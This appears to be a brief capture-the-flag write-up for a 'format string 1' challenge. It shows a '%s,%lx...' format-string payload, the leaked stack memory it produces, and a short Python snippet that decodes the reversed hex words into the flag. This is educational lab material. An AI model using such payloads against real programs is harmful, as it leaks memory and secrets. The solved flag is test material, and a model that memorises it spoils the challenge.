Skip to content

format string 1

Resource

Give me your order and I'll read it back to you:
%s,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx
Here's your order: Here's your order: ,0,720c01912a00,0,6a1880,a347834,7ffee1d339c0,720c01703e60,720c019284d0,1,7ffee1d33a90,0,0,7b4654436f636970,
355f31346d316e34,3478345f33317937,34365f673431665f,7d363131373732,7,720c0192a8d8,2300000007,206e693374307250,a336c797453,9,720c0193bde9,720c0170c098,
720c019284d0,0,7ffee1d33aa0,252c786c252c7325,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,
252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,
252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,
252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,
252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,
252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,
252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,252c786c252c786c,786c,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
Bye!
echo "picoCTF{" | xxd -p
> 7069636f4354467b0a

This matches (in reverse) with 7b4654436f636970

output = "7b4654436f636970,355f31346d316e34,3478345f33317937,34365f673431665f,7d363131373732,7,720c0192a8d8,2300000007,206e693374307250,a336c797453,9,720c0193bde9,720c0170c098,720c019284d0,0,7ffee1d33aa0"
output = output.split(",")
for x in output:
    try:
        print(bytes.fromhex(x).decode('utf-8')[::-1], end="")
    except Exception as e:
        pass